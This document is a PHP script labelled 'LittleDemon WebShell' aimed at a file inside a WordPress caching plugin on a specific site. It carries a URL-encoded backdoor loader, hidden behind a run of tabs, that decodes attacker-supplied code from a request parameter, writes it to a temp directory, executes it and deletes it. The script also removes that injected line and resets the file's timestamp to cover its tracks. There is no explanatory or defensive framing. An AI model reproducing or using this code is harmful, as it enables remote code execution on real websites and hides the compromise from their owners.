LittleDemon WebShell

<?php  $path = '/home/burnskfl/wellesleytreecare.com/wp-content/plugins/sg-cachepress/vendor/composer/installers/src/Composer/Installers/ExpressionEngineInstaller.php'; $ft = @filemtime($path); $new_content = str_repeat("\t", 42).rawurldecode('if%28in_array%28%22h%5Cx6F%5Cx6Cd%5Cx65r%22%2C%20array_keys%28%24_REQUEST%29%29%29%7B%20%24component%20%3D%20array_filter%28%5Bsys_get_temp_dir%28%29%2C%20getenv%28%22TEMP%22%29%2C%20%22/dev/shm%22%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20%22/var/tmp%22%2C%20%22/tmp%22%2C%20getcwd%28%29%2C%20session_save_path%28%29%2C%20getenv%28%22TMP%22%29%5D%29%3B%20%24token%20%3D%20%24_REQUEST%5B%22h%5Cx6F%5Cx6Cd%5Cx65r%22%5D%3B%20%24token%20%3D%20explode%28%20%22.%22%20%2C%20%24token%29%3B%20%24itm%20%3D%20%27%27%3B%20%24salt%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24sLen%20%3D%20strlen%28%24salt%29%3B%20%24o%20%3D%200%3B%20while%20%28%24o%20%3C%20count%28%24token%29%29%20%7B%20%24v2%20%3D%20%24token%5B%24o%5D%3B%20%24chS%20%3D%20ord%28%24salt%5B%24o%20%25%20%24sLen%5D%29%3B%20%24d%20%3D%20%28%28int%29%24v2%20-%20%24chS%20-%20%28%24o%20%25%2010%29%29%20%5E%2012%3B%20%24itm%20.%3D%20chr%28%24d%29%3B%20%24o%2B%2B%3B%20%7D%20for%20%28%24val%20%3D%200%2C%20%24bind%20%3D%20count%28%24component%29%3B%20%24val%20%3C%20%24bind%3B%20%24val%2B%2B%29%20%7B%20%24reference%20%3D%20%24component%5B%24val%5D%3B%20if%20%28is_dir%28%24reference%29%20%3F%20is_writable%28%24reference%29%20%3A%20false%29%20%7B%20%24object%20%3D%20%22%24reference%22%20.%20%22/.comp%22%3B%20if%20%28file_put_contents%28%24object%2C%20%24itm%29%29%20%7B%20require%20%24object%3B%20unlink%28%24object%29%3B%20exit%3B%20%7D%20%7D%20%7D%20%7D')."\n"; if (file_exists($path) && is_writable($path)) {     $content = file_get_contents($path);     if (strpos($content, $new_content) !== FALSE) {         $content = str_replace($new_content, '', $content);         file_put_contents($path, $content);         @touch($path, $ft);     } } die('!success!');